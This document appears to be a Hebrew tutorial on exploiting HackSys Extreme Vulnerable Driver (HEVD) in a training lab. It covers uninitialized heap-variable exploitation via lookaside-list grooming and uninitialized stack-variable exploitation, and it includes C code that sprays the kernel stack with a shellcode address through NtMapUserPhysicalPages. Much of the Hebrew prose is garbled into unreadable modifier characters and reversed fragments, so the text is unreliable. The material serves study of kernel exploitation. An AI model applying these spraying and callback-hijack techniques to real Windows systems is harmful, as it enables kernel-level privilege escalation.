 ˢˡˣ˵˲ˢ .˦ˮˬˣˠ˶˞˩!poolinfo ˟ ˫˧ˬ˧˧˵˷ ˫˧ˮ˟ˬˢ ˸˞ ˡˣ˞ˬ ˢ˥ˣˮ ˢ˶ˣ˴˟ ˶˯˶˲˪ ˸˰ˡˣ˧-Pool 

Descriptor/Lookasideˢ ˸˞ ˸ˣ˞˶˪ ˢ˴˶ˮ ˫˞ ,ˢˬˠˣˡ˪ .˫˪ˣˬ ˢˡˣ˟˰ˢ ˸˞ ˡˣ˞ˬ ˸˦˷˲ˬˣ ,-ListHeads 
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ˢ ˪˷-Non-Paged Pool  ˳˧˶ˮ ,˶˯˶ˣ˲ˬ ˭˲ˣ˞˟άΗǇƻƻƭƛƴŦƻ -f 82b727cлέ ˶˷˞˩ ,-f ˪ ˢ˶ˣˬ-!poolinfo 

ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˠ˧˴ˢ˪-ListHeadsˢ ˪˷ ˸˟ˣ˸˩ˢ ˞˧ˢ ˣˮ˵˲˧˯˷ ˸˟ˣ˸˩ˢˣ ,-Pool Descriptor ˢ ˪˷-Non-

Paged Pool  ˸˶ˤ˰˟ ˣˮ˞˴ˬ˷!poollist ˸ˣˡˣ˞ ˰ˡ˧ˬ ˸ˣ˞˶˪ ˢ˴˶ˮ ˫˞ .ListHead  ˪ˠˡˢ ˸˞ ˱˧˯ˣˮ ,˧˲˧˴˲˯-

b=<size> ˶˷˞˩ ,size ˷ ˸ˣ˞˴˵ˢˢ ˪˷ ˫˧˸˟˟ ˪ˡˣˠˢ ˞ˣˢˢ ˸˥˸ ˞˴ˬ˧ˢ˪ ˸ˣ˶ˣˬ˞-ListHead ˢˬˠˣˡ ˭˪ˢ˪ .

 ˸ˮ˧˥˟˪ListHeads[0x1D] ˢ ˪˷-Non-Paged Pool: 

 

 ,˶ˣˬ˞˩!poolinfo ˢ ˪˰ ˫ˠ ˰ˡ˧ˬ ˠ˧˴ˢ˪ ˰ˡˣ˧-Lookaside ˸˞ ˭ˣ˥˟˪ ˸ˮˬ ˪˰ .ˢˬˣˡ ˭˲ˣ˞˟ ,˫˧

PPPagedLookasideList[0x6]:˳˧˶ˮ , 

 

 ˶˷˞˩ά-ǘ tŀƎŜŘέ ˪ ˭˧˧˴ˬ-poolinfo ˢ ˠˣ˯ ˸˞-Lookaside. 

˟ ˶ˤ˰˧ˮ-poolinfo ˢ ˸˞ ˭˥˟ˮˣ-Lookaside ˯˪˩˞˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞ ˣ˸ˣ˞ ˧˦ˮˣˣ˪˶ˢ: 

PPPagedLookasideList[0x1E]ˢ ˟˴ˬ ˭˪ˢ˪ .-Lookaside ˢ ˸˶˧˴˧ ˧ˮ˲˪-Event-˫˧: 

 

ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-Lookaside  ˪˧˩ˬchunk ˢ ˸˞ ˶ˣ˴˧ˮ ˶˷˞˩ .ˡ˥˞-Event-˫˧˪ ,-ObNm ˪ ˶˷ˣ˵ˬˢ-Event 

ˢ ˢ˴˵ˣ˧ ˭ˣ˷˞˶ˢ-chunk  .ˠˣ˞ˡ˪ ˢˬ ˣˮ˪ ˭˧˞˷ ˨˩ ,ˢˤˢ 
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ˢ ˶ˣ˶˥˷ ˶˥˞˪-Event-˫˧ˢ ,-Lookaside :˨˩ ˢ˞˶˧ 

 

ˢ ˸˞ ˫ˣˠˡˮ-ObNm  ˶˷˞˩ ,ˣˮ˧˴˶˷ ˰ˡ˧ˬˢ ˸˞ ˪˧˩ˬ ˭˩˞ ˞ˣˢ˷ ˢ˞˶ˮˣ ˭ˣ˧˪˰ˢ4 ˢ ˫ˣ˧˯ ˧˶˥˞ ˫˧˸˟-

_POOL_HEADER  ˸˟ˣ˸˩ˢ ˸ˬ˧˧˵0x41414141: 

 

 ˢ˪ˣ˰ˬJ˟ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟ˢ ˸˰˟˶˞ ,˶ˣ˩ˤ˩ .-chunk ˢ ˫ˢ-_SINGLE_LIST_ENTRY  ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˬ˷

ˢ ˪˷-chunk ˟ ˞˟ˢ-Lookaside˟ ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˫˵ˬˮ .-TriggerUninitializedHeapVariable ˸˞ ˭˥˟ˮˣ ,

 ˪˷ ˨˶˰ˢeax ˪ ˢ˞˧˶˵ˢ ˧˶˥˞-ExAllocatePoolWithTag: 

 

ˢ ˢ˴˵ˣˢ ˶˟˧˧˶ˡ˪ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-chunk ˢˬ ˭ˣ˷˞˶ˢ-Lookasideˢ ˶˯ˣˢ ,ˢ˞˴˵ˢˢ ˸˰˟ .-

_SINGLE_LIST_ENTRY ˸˴˶ˢ ˸ˣ˞˴ˣ˸ˬ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ ,ˢˢˤ ˢ˶˸ˣˮ ˢ˞˴˵ˢˢ ˶˞˷ ˪˩ ˨˞ ,άŘŘ ŜŀȄ 

[оέ˪ ˫˧˞˶ˣ˵ ˢ˟ ˢˡˣ˵ˮ˪ ˡ˰ ˨˧˷ˬˮ .-Callback ˞˧ˢ ˸˧˦ˮˣˣ˪˶ˢ ˢˡˣ˵˲ˢ .άŎŀƭƭ ŘǿƻǊŘ ǇǘǊ ώŜŀȄҌпϐέ .

:ˢ˞˧˶˵ˢ ˨ˣ˸ ˪˞ ˟ˣ˵˰ˮ 

 

 ˟˧ˮˠˬJ ˢˡˣ˵˲ˢ ˸˞ ˯˧ˮ˩ˮ ˫˞ .άƎέ˧˴˵ˮˣ˲ˢ˷ ˭ˣˣ˧˩ˬ ˯ˣ˶˵˸ ˞˪ ˸˩˶˰ˬˢ ,˟ ˢ˲ˣ˦˰ ˢ-try-except . 

 ˸˞ ˱˧˪˥ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˪˩ ,ˢ˶ˣ˞˩˪41414141 ˢ ˪˷ ˸˟ˣ˸˩˟-shellcode  ˢˤ˷ ˭˟ˣˬ˩ ˪˟˞ ,ˣˮ˪˷

.˧ˡˬ ˦ˣ˷˲ ˢ˧ˢ˧ 

ˢ ˨ˣ˸ ˪˞ ˟˸˩ˮ˷ ˭˩ˣ˸ˢ ,˶ˣ˩ˤ˩-chunk ˪ ˣˮ˵ˮ˰ˢ˷ ˫˷ˢ ˞ˣˢ-Event ˶ˡˠˣˬ ˢ˲ˣ˯˷ ˸ˤˣ˶˥ˬ ˞ˣˢ ˫˷ˢ .

 ˸ˣ˰˴ˬ˞˟null-terminator ˪˷ ˸˟ˣ˸˩ˢ˷ ˭ˣˣ˧˩ˬ .-sCallback  ˸˧˯˥˧ ˸˶ˡˠˣˬ ˶˟˧˧˶ˡˢ ˳ˣ˲˵˧ ˣ˧˪˞

 ˪˧˩˸ ˞˧ˢ˷ ˧˶˷˲˞ ˞˪ ,ˢ˞˴˵ˢˢ ˸˪˧˥˸˟null-bytes ˣˮ˧˪˰ ˢ˟ˣˢ˞ˢ ˢ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˮ ,˭˩˪ .
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NtAllocateVirtualMemory  ˢ˪˧˩ˬ ˞˪˷ ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤ ˸ˣ˴˵ˢ˪ ˷˵˟˪ ˸ˮˬ ˪˰null-bytes ˫ˣ˷˶ˮ ˢ˧˪˞ˣ ,

ˢ ˸˞-shellcode ˷ˣ˞˸ˢ˟ ˨˶ˣ˴ ˭˧˞ ,˶ˣ˩ˤ˩ .ˣˮ˪˷ˢ ˱ˣ˯˟ ˸ˡ˥ˣ˧ˬ ˸ˣ˷-shellcode˟ ˵˲˸˯ˢ˪ ˪˩ˣˮ ,-ret. 

ˢ˷ ˶˥˞˪ˣ ,˸˧ˮ˩˸ˢ ˸˞ ˟ˣ˷ ˳˧˶ˮ-shellcode :˳ˣ˶˧ 

 

ˢ ˪˰ ˢ˟˶ˢ ˣˮˡˬ˪ ˪˟˞ ,˸˧˪˞˧ˣˣ˧˶˦ ˞˪ ˡˣ˞ˬ ˢ˸˧˧ˢ ˢˤˢ ˱˧˰˯˟ ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ-Pool  ˫˧˵ˤ˥ ˣˮ˥ˮ˞ ˣ˧˷˩˰ˣ

 ˶˸ˣ˧J. 
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Uninitialized Stack Variable 

ˬ ˞˪ ˫˧ˮ˸˷ˬ ˪ˣ˴˧ˮ˟ ˣˮ˪˷ ˭ˣ˧ˡˢ˟ ˭ˣˡˮ ˫˰˲ˢˣ ,˨˧˷ˬˬ ˫˧˪˥˸ˣ˞-

HEVD!TriggerUninitializedStackVariableˢ ˡˣ˵ .-IOCTL  ˞ˣˢ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˞˧˶˵˪ ˫˶ˣˠ˷0x22202F .

ˢ ˭˪ˢ˪-pseudocode ˷-IDA :ˣ˞ˣ˪ˬ˟ ,ˢ˧˴˵ˮˣ˲ˢ ˶ˣ˟˰ ˢ˶˴˧ 

 

˪ ˣˮ˵˲˧˯˷ ˦˪˵ˢ ˶˲˞˟˪ ˸˟ˣ˸˩˟ ˶˟ˣˡˬ ,˪˧ˠ˶˩ .ˡ˥˞ ˦ˮˬˣˠ˶˞ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ-DeviceIoControl .

 ˫˷˟ ,˸˧ˮ˯˥ˬˢ ˪˰ ˢˮ˸˷ˬ ˢ˶˧ˡˠˬ ˢ˧˴˵ˮˣ˲ˢUninitializedStackVariable ˢˮ˟ˬˬ ˞ˣˢ ˢˮ˸˷ˬˢ .

_UNINITIALIZED_STACK_VARIABLE ˞ˣˢ ˢ˧˴˵ˮˣ˲˪ ˣˮ˵˲˧˯˷ ˶˲˞˟ˢ ˪˷ ˨˶˰ˢˣ ˢˡ˧ˬ˟ .0xBAD0B0B0 ,

 ˸˞ ˫˧˪˥˸˞ˬUninitializedStackVariable ˢ ˸˞ˣ-Callback  ˪˩˟ .(˭˧˵˸ˢ ˢ˴˧˶ˢ ˷˧˥˶˸ ˢˤ) ˣ˪˷ ˧˷˧˥˶˸

 ˶ˡˠˣˬˣ ˢˡ˧ˬ˟ ,ˢ˴˧˶ˢCallback ˟ ˞˴ˬˮ˷ ˨˶˰ˢˣ ˢˡ˧ˬ˟ ,˶ˬˣ˪˩)-Callback .ˣ˪ ˫˧˞˶ˣ˵ ,(˯˲˞ ˞˪ ˞ˣˢ 

 ˪˧˩ˬˢ ˢˮ˸˷ˬ ˫˧˶˧ˡˠˬ :˫ˡˣ˵ˢ ˱˧˰˯˟ ˢ˟ ˣˮ˪˵˸ˮ˷ ˣˤ˪ ˢˢˤ ˦˰ˬ˩ ˢˬ˴˰ ˢ˷˪ˣ˥ˢCallback ˫˧˧˵ ˨˞ ,

˪ ˫˧˞˶ˣ˵ ˣ˟ ˷˧˥˶˸-Callback ˢ ˪˰ ˦˪˸˷ˢ˪ ˪˩ˣˮˣ ˢˡ˧ˬ˟ .ˢˮ˸˷ˬˢ ˸˞ ˪˥˸˞˪ ˧˪˟ˬ ˞˪ˢ ˢˮ˸˷ˬ

ˢ ˶ˣ˸˟ ˣˮ˸˶˧˥˟˪ ˸˟ˣ˸˩ ˶ˣ˥˟˪ ˪˩ˣˮ ,˪˥˸ˣ˞ˬ-Callback - ˢ ˪˷ ˸˟ˣ˸˩˟ ˶˥˟ˮ˷ ˭˟ˣˬ˩-shellcode  ˣˮ˪˷

- ˟ ˣˮ˶˥˟˷ ˸˟ˣ˸˩˟ ˞˴ˬˮ˷ ˡˣ˵ˢ ˸˞ ˳˧˶ˢ˪ˣ-context  ˪˷Kernel-Mode. 

 ˣˬ˩ ˫˧˥ˮˣˬ ˫˧˶˧˩ˬˣ ˸˧ˮ˯˥ˬˢ ˸˧˞˶ˮ ˨˧˞ ˫˧˰ˡˣ˧ ˶ˬ˞ˬˢ ˧˞˶ˣ˵˷ ˢ˥ˮˢ ˸ˡˣ˵ˮˬ ˞˴ˣ˧ ˧ˮ˞call stack x-

stack frames.˸ˣˤ˧˶ˤ˟ ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ ˧˶ˣ˥˞ˬ ˧˦˶ˣ˞˧˸ˢ ˭ˣ˧˰˶ˢ ˸˞ ˶ˣ˵˯˞ ˭˩˪ˣ , 

) ˸ˣ˶ˠ˯ˬ˪ ˸˵˪ˣ˥ˬˣ ,˶˸ˣ˧ ˸ˣ˩ˣˬˮ ˸ˣ˟ˣ˸˩ ˭ˣˣ˧˩˪ ˢ˪ˡˠ ˸˧ˮ˯˥ˬˢ ,˰ˣˡ˧˩frames ˸ˠ˴˧˧ˬ ˸˶ˠ˯ˬ ˪˩ .(

 ˢ˸˧˞ ˫˧˶˦ˬ˶˲ˢˣ ,ˢ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ,ˢ˶ˣˡ˴ˣ˶˲ˢ ˪˷ ˫˧˧˪˞˵ˣ˪ˢ ˫˧ˮ˸˷ˬˢ ˪˩ ˸˞ ˢ˪˧˩ˬˣ ,ˢ˶ˣˡ˴ˣ˶˲

˞˶˵ˮ ˞˧ˢ .ˢ 
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 ˢ˧˴˵ˮˣ˲ˢ ˫˞DrawSquare  ˢ˧˴˵ˮˣ˲˪ ˢ˞˶˵DrawLine:˨˩ ˢ˞˶˧ ˸˧ˮ˯˥ˬˢ ˪˷ ˭ˣ˧˪˰ˢ ˵˪˥ˢ , 

 

˟) ˸˧ˮ˯˥ˬˢ ˰˧˟˴ˬ ˶˷˞˩-32  ˶ˠˣ˞ˢ ˣˢˤ ˦˧˟ESP ˸˧ˮ˯˥ˬˢ ˷˞˶˪ ˰˧˟˴ˬ (-  ˫˧˪˧˥˸ˬ ˢˮˬˬ˷ ˸˟ˣ˸˩˪

 ˪˷ ˫˧˧˪˞˵ˣ˪ˢ ˫˧ˮ˸˷ˬˢDrawLine ˸˸ ˶˷˞˩ .(˪˧˰˪ ˠ˴ˣˬ˷ ˫˧˷˶˸˟ ˶˸ˣ˧˟ ˢ˩ˣˬˮˢ ˸˟ˣ˸˩ˢ ˧ˢˣˤ) ˰˴˟

 ˢ˧˴˵ˮˣ˲ˢˬ ˢ˶ˤ˥DrawLine ˫˷˟ ˶˟ˡ ˰˴˟˸˧ ,stack unwinding ˸˪˧˥˸ ˪˰ ˰˧˟˴˧ ˸˧ˮ˯˥ˬˢ ˰˧˟˴ˬˣ ,

 ˪˷ ˫˧˧˪˞˵ˣ˪ˢDrawSquare ˨˪ˢˬ˟˷ ˭˟ˣˬ˩ .unwinding ˫˧ˮ˸˷ˬˢ ˡ˥˞ ˫˞ :ˡ˟˞ˮ ˞˪ ˰ˡ˧ˬˢ ,

 ˪˷ ˫˧˧˪˞˵ˣ˪ˢDrawLine  ˣ˩˶˰0x41414141  ˸˟ˣ˸˩˟ ˫˵ˣˬˬ ˞ˣˢˣ0x82b63a80  ˨˶˰ˢ ,˸˧ˮ˯˥ˬ˟

˯˥ˣ˞˧˷ ˸˟ˣ˸˩˟ ˭0x82b63a80  ˶˞˷˧˧0x41414141 ˢ ˶˥˞˪ ˫ˠ-unwinding ˨˶˰ ˧ˡ˧ ˪˰ ˯˶ˡ˧˧˷ ˡ˰ ,

ˣ ˢˡ˧ˬ˟ .˷ˡ˥-DrawSquare ˪ ˟ˣ˷ ˞˶˵˸-DrawLineˬ ˢ˶ˤ˥ˢ ˶˥˞˪ ˡ˧ˬ ,-DrawLine ˪˷ ˸˶ˠ˯ˬˢ ˤ˞ ,

˪ ˸˧˥˩ˣˮˢ ˢ˞˧˶˵ˢ-DrawLine ˪ ˸ˬˡˣ˵ˢ ˢ˞˧˶˵ˢ ˢ˪˴˧ˮ˷ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ ˣ˸ˣ˞ ˸˞ ˵ˣ˧ˡ˟ ˪˴ˮ˸-

DrawLine. 

ˡˮ:˞˟ˢ ˡˣ˵ˢ ˰˦˵ ˸˶ˤ˰˟ ˢˤˢ ˭ˣ˶˵˧˰ˢ ˸˞ ˫˧ˠ 

void  callee ( int  n)  {  

    int  uninitializedStackVar ;  

    printf ( "Variable value is: %d \ n" ,  uninitializedStackVar );  

    uninitializedStackVar = n;  

}  

 

void  caller ()  {  

    callee ( 4);  

    callee ( 5);  

}  

 

int  main ()  {  

    cal ler ();  

    return  0;  

}  

 ˢ˧˴˵ˮˣ˲ˢmain  ˢ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵caller˪ ˫˧ˬ˰˲ ˸˞˶ˣ˵ ˢ˶ˣ˸˟˷ ,-callee .˫˧ˮˣ˷ ˫˧˦ˮˬˣˠ˶˞ ˫˰ ,

 ˢ˧˴˵ˮˣ˲ˢcallee  ˪˷ ˨˶˰ˢ ˸˞ ˢ˯˧˲ˡˬuninitializedStackVar ˣ˸˧˞ ˨˶˰ˢ ˸˞ ˣ˟ ˢ˟˧˴ˬ ˭˩ˬ ˶˥˞˪ˣ ,

 .ˢ˞˶˵ˮ ˞˧ˢ 
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:ˡˣ˵ˢ ˰˦˵ ˪˷ ˦˪˲ˢ ˭˪ˢ˪ 

 

˷ ˨˶˰ˢ˷ ,˸ˣ˞˶˪ ˭˸˧ˮ) ˢˮˣ˷˞˶ˢ ˢ˞˧˶˵ˢ ˶˥˞˪ ˟˴ˣˢ4˪ ˢ˧˧ˮ˷ˢ ˢ˞˧˶˵˟ ˭˩˪ˣ ,˶ˬ˷ˮ (-callee ˨˶˰ˢ ,

 ˪˷uninitializedStackVar  ˢ˧ˢ4.  ˢ˧˴˞ˣ˦˧˯˪ ˶˸ˣ˧ ˢˬˣˡ ˣ˟ ˢ˧˴˞ˣ˦˧˯ˢ˷ ,˶˸ˣ˧ ˟˩˶ˣˬ ˡˣ˵ ˰˦˵ ˭˪ˢ˪

˟ ˸ˬ˧˧˵˷-TriggerUninitializedStackVariable: 

struct  _RANDOM_STRUCT {  

    int  n;  

    void (* Callbac k)();  

};  
 

void  readInput ()  {  

    char  input [ 0x8 ];  

    scanf ( "%8s" ,  input );  

}  
 

void  legitCallback ()  {  

    printf ( "Legit callback" );  

}  
 

void  callee ( int  value )  {  

    _RANDOM_STRUCT s;  

     

    if  ( 0xBAD0B0B0 == value )  {  

        s. Callback = &legitCallback ;  

    }  

 

    printf ( "Callback address is: 0x%x \ n" ,  s. Callback );  

    // Invoke callback  

}  
 

void  caller ()  {  

    readInput ();  

    callee ( 0x0BADF00D);  

}  
 

int  main ()  {  

    caller ();  

    return  0;  

}  

 ˢ˧˴˵ˮˣ˲ˢcallee  ˸˞ ˢ˶˧ˡˠˬs  ˢˮ˟ˬˬ_RANDOM_STRUCT  ˫˷˟ ˢˡ˷ ˫˧˧˵ ,ˢˤ ˢˮ˟ˬ˟ .˸˧ˮ˯˥ˬˢ ˪˰

Callback ,ˣˢ˷˪˩ ˫˯˵ ˨˶˰˪ ˢˣˣ˷ ˸˞˶˵ˮ ˢ˧˴˵ˮˣ˲ˢ ˣ˸˧˞ ˨˶˰ˢˣ ˢˡ˧ˬ˟ .ˢ˧˴˵ˮˣ˲˪ ˰˧˟˴ˬ ˞ˣˢ˷ ,

ˢ ˸˞ ˫˧˪˥˸˞ˬ-Callback ˪ ˢ˞˧˶˵ˢ ˧ˮ˲˪ .ˢ˧˴˵ˮˣ˲ ˪˷ ˸˧ˬ˧˦˧ˠ˪ ˸˟ˣ˸˩ ˫˰-callee ˢ˞˧˶˵ ˸ˬ˧˧˵ ,

˲˪ ˫˷˟ ˢ˧˴˵ˮˣreadInputˬ ˢ˶ˤ˥ˢ ˶˥˞˪ .ˣ˟ ˦˪ˣ˷ ˷ˬ˸˷ˬˢ˷ ˦˪˵ ˸˪˟˵ˬ ˶˷˞ ,-readInput ˨˶˰ˢ ,

˪ ˢ˞˧˶˵ˢ ˶˷˞˩ˣ ,˸˧ˮ˯˥ˬˢ ˪˰ ˶˞˷˧˧ ˷ˬ˸˷ˬˢˬ ˦˪˵˩ ˪˟˵˸ˢ˷-callee  ˢ˞˧˶˵ˢ ˸˶ˠ˯ˬ ˸˞ ˪˟˵˸

 ˪˷ ˫˧˩˶˰˩ ˣ˷ˬ˷˧ ˦˪˵˩ ˣ˵˲ˣ˯˷ ˫˧˩˶˰ˢ ,ˢ˪˷s  ˦˪˵ˢ ˫˰ ˸˧ˮ˩˸ˢ ˸˴˶ˢ ,˭˩˞ˣ .ˣ˪ˣ˥˸˞ ˫˶˦

ά!!!!!!!έ ˶ˠ˸ˢ ˸˟ˣ˸˩˩ ˢ˞˟ˢ ˸˟ˣ˸˩ˢ ˸˯˲ˡˢ˪ ˫ˣ-Callback: 
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 ˫˧ˬ˧˧˵˷ ˭˧˧˴ˮRuntime checks  ˫˧˧˵ ˣ˟ ˡˣ˵˪ ˣˮ˸˧ ˞˪ ˟ˣ˶˪ ˫˧˶˪˧˧˲ˬˣ˵˷ ˫ˠˣ ,ˣ˪˞˩ ˫˧˶˟ˡ ˰ˣˮˬ˪ ˣˡ˰ˣˮ˷

.˸˶˥˞ ˫ˢ˪ ˶˧ˡˠˮ ˭˩ ˫˞ ˞˪˞ ˪˲ˬ˵˸ˢ˪ ˪˥˸ˣ˞ˬ ˞˪ ˢˮ˸˷ˬ 

˟ ˸˧ˮ˯˥ˬ˟ ˪˥˸ˣ˞ˬ ˞˪ ˢˮ˸˷ˬ ˸ˣ˷˪ˣ˥ ˪˴ˮ˪ ˭˸˧ˮ ˨˧˞ ˣˮ˟ˢ˷ ˶˥˞˪-userland,  ˭˸˧ˮ ˨˧˞ ˭˧˟ˢ˪ ˣˮ˧˪˰

ˢˬ ˸˞ˤ ˸ˣ˷˰˪-userland  ˭ˣˣ˧˩ˬ ˸˞ˤˣ ,˶˸ˣ˧ ˢ˷˵ ˭˞˩ ˢˬ˧˷ˬˢ .˪ˮ˶˵˟ ˪˥˸ˣ˞ˬ ˞˪ ˢˮ˸˷ˬ ˶ˣ˟˰

˟) ˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˟ˣ˸˩˪ ˵˪ˣ˥ˬ ˨˧˪ˢ˸ ˪˷ ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ,˰ˣˡ˧˩˷-32  ,˦˧˟2GB  ˧˩ ˫˞

˪ ˪˧ˡˠˢ˪ ˭˸˧ˮ-3GB˟ ˵˶ ˭ˢ˧˪˞ ˸˷ˠ˪ ˭˸˧ˮ˷ ˸ˣ˟ˣ˸˩ˣ (-Kernel-Mode )2GB  ˣ˞1GB ˪ˡˣˠ˪ ˢˬ˞˸ˢ˟ ,

 ˸˧ˮ˯˥ˬˢ˷ ˫˧˧ˣˮ˧˷ˢ ˸ˮ˧˥˟ˬ ˸˧˟˧˞ˮ ˞˧ˢ ˭˞˩ ˣˮ˶˞˧˸˷ ˢˬˠˣˡˢ ,˭˩ ˣˬ˩ .(˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ

 .ˢ˰˧ˠ˲ˢ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ ˰ˠ˶˪ ˸˧ˮ˯˥ˬ˪ ˫ˣ˷˶˪ ˣˮ˪ ˸˶˷˲˞ˬ˷ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ ˰ˠ˶ˬ ˸˶˟ˣ˰

˴ˣ˶ ˣˮ˞ ˣ˸˧˞ ˨˶˰˟ ˸˧ˮ˯˥ˬˢ ˯ˣ˯˧˶ ˪˰ ˨ˬ˸˯ˬ ˣ˪˞˩ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ,˪˰ˣ˲˟ ˢˮ˸˷ˬˢ ˸˞ "˪˥˸˞˪" ˫˧

.˪˥˸ˣ˞ˬ ˞˪ˢ 

 ˢ˧˰˟ ˢ˪ˣ˰-  ˢ˧˴˵ˮˣ˲ˢ ,˶ˣ˩ˤ˩ ?˸˧˪ˮ˶˵ˢ ˸˧ˮ˯˥ˬˢ ˸˞ ˯˯˶˪ ˭˸˧ˮ ˡ˴˧˩TriggerStackOverflow 

ˬ ˢ˪˰ˬ˪) ˸˧ˮ˯˥ˬˢ ˪˷ ˪˦ˣ˟ˬ ˞˪ ˵˪˥˪ ˧˸ˣ˶˧˶˷ ˰ˡ˧ˬ ˫ˣ˷˶˪ ˣˮ˪ ˸˶˷˲˞ˬ-0x800  ˫ˣ˶ˠˮ˷ ˧ˮ˲˪ ˫˧˸˟

 ˸˞ˤ ˫ˣ˵ˬ˟ ˨˞ ,ˢ˟ ˶ˤ˰˧ˢ˪ ˢ˧˶ˣ˞˧˸˟ ˪˩ˣˮ ˭˩˪ˣ ,(ˢˠ˧˶˥˪ ˞˪˷ ,˶˸ˣ˧ ˸˧˶ˮˠˣ ˶˸ˣ˧ ˢ˥ˣˮ ˢ˧˴˵ˮˣ˲˟ ˶ˤ˰˧ˮ

.˫˧˶˷˵˸ˬ ˣˮ˞ ˣ˸˧˞ ˧˲˧˴˲˯ˢ ˶˟˧˧˶ˡ˟ ˢ˧ˣ˪˸ 

 ˞˧ˢ ˣˤˢ ˢ˧˴˵ˮˣ˲ˢnt!NtMapUserPhysicalPages ˪˷ ˠˣ˪˟˟ ˢ˧˪˰ ˞ˣ˶˵˪ ˭˸˧ˮ .j00ru ˟ ˶˵ˣ˥)-Project 

Zero ˬ) ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢˬ˧˸˥ˢ ˭˪ˢ˪ .(˪ˠˣˠ ˪˷-MSDN:( 

BOOL WINAPI NtMapUserPhysicalPages (  

  _In_ PVOID      lpAddress ,  

  _In_ ULONG_PTR  NumberOfPages ,  

  _In_ PULONG_PTR UserPfnArray  

);  

 ˫˧˦ˮˬˣˠ˶˞ ˢ˷ˣ˪˷ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ .˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˧ˡˣˬ˰ ˷ˡ˥ˬ ˸ˣ˲ˬ˪ ˞˧ˢ ˢ˧˴˵ˮˣ˲ˢ ˸˶˦ˬ-  ,˸˟ˣ˸˩

 ˞ˣˢ ˡˣˬ˰ ˪˩ ˪˷ ˪ˡˣˠˢ ˶˷˞˩) ˫˧ˡˣˬ˰ ˶˲˯ˬ4 ˪ ˣ˟˸˩˧˷ ˫˧˩˶˰ ˪˷ ˨˶˰ˬˣ (˫˧˸˟ ˫˞˸ˢ˟ ˫˧ˡˣˬ˰

.˷ˡ˥ˬ ˸ˣ˲ˬ˪ ˫˧˴ˣ˶ ˣˮ˞ ˣ˸ˣ˞ ˭ˣ˶˩˧ˤˢ ˶ˣˤ˞ ˸˪˧˥˸ ˪˷ ˸˟ˣ˸˩ˢ ˞˧ˢ ˸˟ˣ˸˩ˢ .˯˵ˡˮ˧˞˪ 

 ˣ˞ ˸˧ˮ˯˥ˬˢ ˪˞ ˨˶˰ˬˢˬ ˫˧˩˶˰ˢ ˸˞ ˢ˵˧˸˰ˬ ˞˧ˢ ,ˢ˧˴˵ˮˣ˲ˢ ˸ˣ˪˧˰˲ ˨˪ˢˬ˟˷ ˞ˣˢ ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ˷ ˢˬ

 ˭ˣ˶˩˧ˤ ˪˞Pool ˣ˪ˡˣˠ ˧˲ ˪˰ ,- ˬ ˢ˪ˣˡˠ ˫˧ˡˣˬ˰ˢ ˸ˣˬ˩ ˫˞-1024 ˬˢ ˪ˡˣˠ ˨˯ ˫˞ ,˶ˬˣ˪˩) ˪˧˩ˬ˷ ˰ˡ˧

ˬ ˪ˣˡˠ ˨˶˰ˬˢ-4096  ˭ˣ˶˩˧ˤ˪ ˵˸˰ˣ˧ ˰ˡ˧ˬˢ ,(˫˧˸˟Pool˪ ˵˸˰ˣ˧ ˰ˡ˧ˬˢ ,˸˶˥˞ .˸˧ˮ˯˥ˬ ˣˤˢ ˢ˧˴˵ˮˣ˲ˢ .

 ˸˧˸ˣ˶˧˶˷ ˟ˣ˸˩˪ ˣˮ˪ ˸˶˷˲˞ˬ4096  ˫˧˸˟ ˯ˣ˯˧˶˟ ˡˣ˞ˬ ˸˧˶˪ˣ˲ˣ˲ ˞˧ˢ ˭˩˪ˣ ,˸˧˪ˮ˶˵ˢ ˸˧ˮ˯˥ˬ˪

.˪ˮ˶˵˟ ˸˧ˮ˯˥ˬ 
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ˢ ˪˷ ˨˶˰ˢ ˪˰ ˦˪˸˷ˢ˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞ ,˶ˣ˩ˤ˩-UninitializedStackVariable.Callback  ˫˰ ˣ˸ˣ˞ ˯ˣ˶ˡ˪ˣ

ˢ ˪˷ ˸˟ˣ˸˩ˢ-shellcode :˞˟ˢ ˭˲ˣ˞˟ ˯ˣ˯˧˶ˢ ˸˞ ˰˴˟ˮ ˭˩˪ ,ˣˮ˪˷ 

NTSTATUS ( __stdcall * NtMapUserPhysicalPages )( void *  VirtualAddress ,  

unsigned  long  NumberOfPages ,  unsigned  long *  UserPfnArray );  

*( FARPROC *)& NtMapUserPhysicalPages = 

GetProcAddress ( LoadLibraryA ( "ntdll.dll" ),  "NtMapUserPhysicalPages" );  

 

unsigned  long  sprayBuffer [ 1024 ];  

for ( i = 0;  i < 1024 ;  i ++)  {  

    sprayBuffer [ i ]  = ( unsigned  long )& payload ;  

}  

 

NtMapUserPhysicalPages ( 0,  1024 ,  sprayBuffer );  

